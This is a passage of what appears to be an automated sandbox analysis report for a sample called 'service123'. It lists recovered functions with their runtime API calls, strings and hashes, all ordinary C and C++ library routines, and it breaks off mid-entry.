Opcode ID: 35227c506e3ea242a00cb2491311fdc494724d29ffb95fbb7097f4c2ffe4d7a9
Instruction ID: 65ba6d7d64792ee3c727d30b09548a83158e9a1c8d66e82498df4c04886a9047
Opcode Fuzzy Hash: 35227c506e3ea242a00cb2491311fdc494724d29ffb95fbb7097f4c2ffe4d7a9
Instruction Fuzzy Hash: 54F0FFB09052318B97106B78BD4926B7EF4FE06350F454539D885C7280EB74845ADBA3

Function 6D009171 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6D00917C
GetProcAddress.KERNEL32 ref: 6D00919C
GetProcAddress.KERNEL32 ref: 6D0091DB

Strings

msvcrt.dll, xrefs: 6D009175
__lc_codepage, xrefs: 6D0091D0
___lc_codepage_func, xrefs: 6D009194

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: 5e9a8f15cb9eca57a44442e2596688cc9535ece21bf90d93e1706d7a72e45c3e
Instruction ID: 2ab4f3c34b685e037cca23bd2b62ba436da9bf608423066b88f44faeba83483e
Opcode Fuzzy Hash: 5e9a8f15cb9eca57a44442e2596688cc9535ece21bf90d93e1706d7a72e45c3e
Instruction Fuzzy Hash: EDF012B1A452019BFB407F7CAE4A39A7AF4A60D210F45457ED899C7205E7B0C455C7A3

Function 6CFFEA9B Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction ID: f8ef94ce3c0e485731704eaa3efb8fc4f520138ad3c068e2744cbcdea09ef83e
Opcode Fuzzy Hash: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction Fuzzy Hash: 57B01272CDD2288E6431457C451029A7209F527344789DC43C56A33C24D323E04741D3

Function 6D094890 Relevance: 10.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D09B65E), ref: 6D094913
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6D09B65E), ref: 6D094955

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction ID: 3adba6410abeb1f401c308bc818d8cc932f648b35292c50250d38899baf1aad5
Opcode Fuzzy Hash: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction Fuzzy Hash: 1061E7B4908702DFE714CF29D58062AFBE0FF99754F14891DE4A98B3A1E730E844DB96

Function 6D090720 Relevance: 10.2, APIs: 8, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6D029053,00000003), ref: 6D09079D
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6D029053,00000003), ref: 6D0907DC

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction ID: 8811e0c5531873f63c0ecb4166c00ba2f13d1fc3f778563b074935880e7f829a
Opcode Fuzzy Hash: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction Fuzzy Hash: 7461A2B4A08702DFD714CF1AC58062AFBE1AF99764F14C91DE8A98B361D730E845DF92

Function 6D092940 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,6D08711E), ref: 6D0929B3

Strings

string::string, xrefs: 6D092B7E
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6D092AC4, 6D092B21, 6D092B86
basic_string::basic_string, xrefs: 6D092ABC, 6D092B19
basic_string::_M_create, xrefs: 6D0929CA, 6D092A6A

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 3510742995-126128797
Opcode ID: 03ee2d302004d29ace8120e1b170348eb7d7efa9c67a4c0fa06d653ce236a515
Instruction ID: 2dfca0a3fbc797012bbf7b39f9742a8876f4359d5f59d7d603fac9ce8a4b9568
Opcode Fuzzy Hash: 03ee2d302004d29ace8120e1b170348eb7d7efa9c67a4c0fa06d653ce236a515
Instruction Fuzzy Hash: 9A714CB69093518FD310DF2DD48064AFBE4BF89214F558AAEE8889B316D371C941CB92

Function 6CFFEB70 Relevance: 9.2, APIs: 6, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction ID: cece8bfb8a4cae4612a000f00229ed5bf1a601a244ac4869575f6b1bb6547620
Opcode Fuzzy Hash: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction Fuzzy Hash: D5616E716493048FD710CF19C49075AB7E2EF88308F458A6DF8A89BB64E734D947CB96

Function 6D00AE10 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6D00ACEF), ref: 6D0C5FF0
abort.MSVCRT(?,?,?,?,?,?,6D00AC4C,?,?,?,?,?,?,6D0C6040), ref: 6D0C5FF8
abort.MSVCRT(?,?,?,?,?,?,6D00AC4C,?,?,?,?,?,?,6D0C6040), ref: 6D0C6000
abort.MSVCRT(?,?,?,?,?,?,6D00AC4C,?,?,?,?,?,?,6D0C6040), ref: 6D0C6008

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 21b63db425e841b83daadffd4b2a485f755bda01e684a74a155d85df199eae37
Instruction ID: 85f5a477c56cc01318e3f381c9f889396cb00ac6c4b5e7160c6f1c9a158916fa
Opcode Fuzzy Hash: 21b63db425e841b83daadffd4b2a485f755bda01e684a74a155d85df199eae37
Instruction Fuzzy Hash: E141027161C3059BF704AF74D480BAFB7E5EF86308F6A886DD6848B215DB329446C7A2

Function 6CFF1020 Relevance: 9.1, APIs: 6, Instructions: 100sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6CFF1281,?,?,?,?,?,?,6CFF13AE), ref: 6CFF1057
_amsg_exit.MSVCRT ref: 6CFF1086

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: ad403f85937e0b99b369c4ae316ddba43b061f3c2e12a4fa4f662815be02451c
Instruction ID: d3f89857eb6f246d3a7cff37b649c41436c6ae68330cf6dbd1f1b394f1348488
Opcode Fuzzy Hash: ad403f85937e0b99b369c4ae316ddba43b061f3c2e12a4fa4f662815be02451c
Instruction Fuzzy Hash: 5131AFB1A0C342CBEB019FA9DA8131B77F4EB46388F12852AD5748B750D7B1C486CB92

Function 6D011CB0 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6D011CC8
strlen.MSVCRT ref: 6D011CD2
memcpy.MSVCRT ref: 6D011CEF
setlocale.MSVCRT ref: 6D011D02
wcsftime.MSVCRT ref: 6D011D26
setlocale.MSVCRT ref: 6D011D38

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: 8c65a748b42de41f578bf91926d0288165d34402882559e46b9e4ad73c507734
Instruction ID: a276c1edb7df8a597b7ea69d6d1a9f332dfa0245d296c645256fd98cf3c3b5d9
Opcode Fuzzy Hash: 8c65a748b42de41f578bf91926d0288165d34402882559e46b9e4ad73c507734
Instruction Fuzzy Hash: 311192B090D710AFE340AF69D58475EFBE4BF89654F46882DE5C987310E7789841CB92

Function 6D011A00 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6D011A18
strlen.MSVCRT ref: 6D011A22
memcpy.MSVCRT ref: 6D011A3F
setlocale.MSVCRT ref: 6D011A52
strftime.MSVCRT ref: 6D011A76
setlocale.MSVCRT ref: 6D011A88

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: 5921bce16b2b149da0e5d95dd047887597348383fbd26cb02bf93ddb50e0a5a7
Instruction ID: 4df8c983cc7ff1180eacd5e3716ee90da12943a8690b69b12e24289c939e5128
Opcode Fuzzy Hash: 5921bce16b2b149da0e5d95dd047887597348383fbd26cb02bf93ddb50e0a5a7
Instruction Fuzzy Hash: 311193B490D710AFE340AF68D58475EFBE4BF89644F468C2DE5C987311E7789840CB92

Function 6CFFED31 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction ID: fa1d0ec6227f332d27f1adf332590b8c8ffcaa19d5d84fd388121309b0920bba
Opcode Fuzzy Hash: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction Fuzzy Hash: D7B01232DDC164C5E43045BC40203EFB20DE703344F854C0BD27623828D663E08382C7

Function 6D00DE80 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 130windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 6D00DEC7
LocalFree.KERNEL32 ref: 6D00DEFB

Strings

basic_string: construction from null is not valid, xrefs: 6D00DF57
Unknown error code, xrefs: 6D00DF3C

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: FormatFreeLocalMessage
String ID: Unknown error code$basic_string: construction from null is not valid
API String ID: 1427518018-3299438129
Opcode ID: f169ed8a2a37c1e0e16cb500bfaa881a62e6c770876b41cea5fa4de7ee5b4d68
Instruction ID: e3e486234f630fecad4cd850f5eb6e24ec1ca6d7bd130d39c9fc0beeaa507b82
Opcode Fuzzy Hash: f169ed8a2a37c1e0e16cb500bfaa881a62e6c770876b41cea5fa4de7ee5b4d68
Instruction Fuzzy Hash: D0419BB19087019FEB10AF69D4857AEFBF4FF89304F81882CE5949B214D77094898BA3

Function 00522F89 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00522E97
fputc.MSVCRT ref: 00522F07
memset.MSVCRT ref: 00522FC2

Strings

0, xrefs: 00522FB7
o, xrefs: 00522FCA

Memory Dump Source

Source File: 00000009.00000002.5004637014.0000000000521000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00520000, based on PE: true

Associated: 00000009.00000002.5004605534.0000000000520000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004665742.000000000052A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004697656.000000000052E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.5004728951.0000000000531000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_520000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction ID: ed775e3b6270b7f93e541bc958940095b192d9718d832c4c735d7057e2eb8b74
Opcode Fuzzy Hash: 448672419a6aefb592f870ea4cfb86913ff9ea238fa630640188f8821d0f5d8b
Instruction Fuzzy Hash: 2C318D79904325DFCB10CF68D0847AABFF5BF5A310F168929D999AB392D338E900DB50

Function 6D003659 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 86COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 6D003567
fputc.MSVCRT ref: 6D0035D7
memset.MSVCRT ref: 6D003692

Strings

o, xrefs: 6D00369A
0, xrefs: 6D003687

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: fputc$memset
String ID: 0$o
API String ID: 2944404495-4157579757
Opcode ID: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction ID: 810b15556f8af3a6549b5728199ae382ce8dec070955639fcb9abfb607a4605e
Opcode Fuzzy Hash: 4e5d1ba6c8a4e8df9e646095398d9879c6dbcde4af08328c22bcc6dcc1e4ca11
Instruction Fuzzy Hash: 4D313971908605ABF702CF68C084B9EB7F5BF4D351F558619D599AB351D738E801CB50

Function 6CFF9490 Relevance: 7.9, APIs: 4, Strings: 1, Instructions: 375stringCOMMON

Download Yara Rule

APIs

strncmp.MSVCRT ref: 6CFF94C2
strlen.MSVCRT ref: 6CFF9616

Strings

_GLOBAL_, xrefs: 6CFF94B7

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: strlenstrncmp
String ID: _GLOBAL_
API String ID: 1310274236-770460502
Opcode ID: e768cf7f5b5ea22bfbcc726063d5962d0243eb2ab1dfe5f141042c55ab26e70e
Instruction ID: 7b8fbafbcf16b166799beb3a580473f61e90e93caf6400a3a40193552510dc79
Opcode Fuzzy Hash: e768cf7f5b5ea22bfbcc726063d5962d0243eb2ab1dfe5f141042c55ab26e70e
Instruction Fuzzy Hash: 67F16171D052188FEB20CF25C8903DDBBF1EF46308F5481EAC469AB665DB759A86CF81

Function 6D06D860 Relevance: 7.7, APIs: 2, Strings: 3, Instructions: 229COMMON

Download Yara Rule

APIs

Part of subcall function 6D08F670: memmove.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F70D
Part of subcall function 6D08F670: memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,00000000,?,?,6D06D7DE), ref: 6D08F738

memcpy.MSVCRT ref: 6D06DA65

Part of subcall function 6D0922E0: memcpy.MSVCRT(?,-00000001,?,6D01724E,?,?,?,?,?,?,?,?,?,?,?,6D018BD5), ref: 6D09231C

Strings

Unknown error, xrefs: 6D06D8B8
iostream error, xrefs: 6D06DAB8
basic_string::append, xrefs: 6D06DB62, 6D06DB6E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: memcpy$memmove
String ID: Unknown error$basic_string::append$iostream error
API String ID: 1283327689-1474074352
Opcode ID: 17e3da56ca00d1c8b0e9f194cc2045c29e9cce65836626a485cb33ea00544915
Instruction ID: 47831592ac4f8d58f110152f2e4c0f2d64092843889b3f19e78da4c8feb1d94e
Opcode Fuzzy Hash: 17e3da56ca00d1c8b0e9f194cc2045c29e9cce65836626a485cb33ea00544915
Instruction Fuzzy Hash: 81A10170D08359CBEB10DFA8C48479DBBF1BF89310F65892ED499AB255D730A845CFA2

Function 6D05BD10 Relevance: 7.7, APIs: 3, Strings: 2, Instructions: 216COMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 6D05BDEF
memcpy.MSVCRT ref: 6D05BE49
memcpy.MSVCRT ref: 6D05BED7

Part of subcall function 6D05C2B0: memcpy.MSVCRT ref: 6D05C33C

Strings

basic_string::replace, xrefs: 6D05BF44, 6D05BF57
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6D05BF63

Memory Dump Source

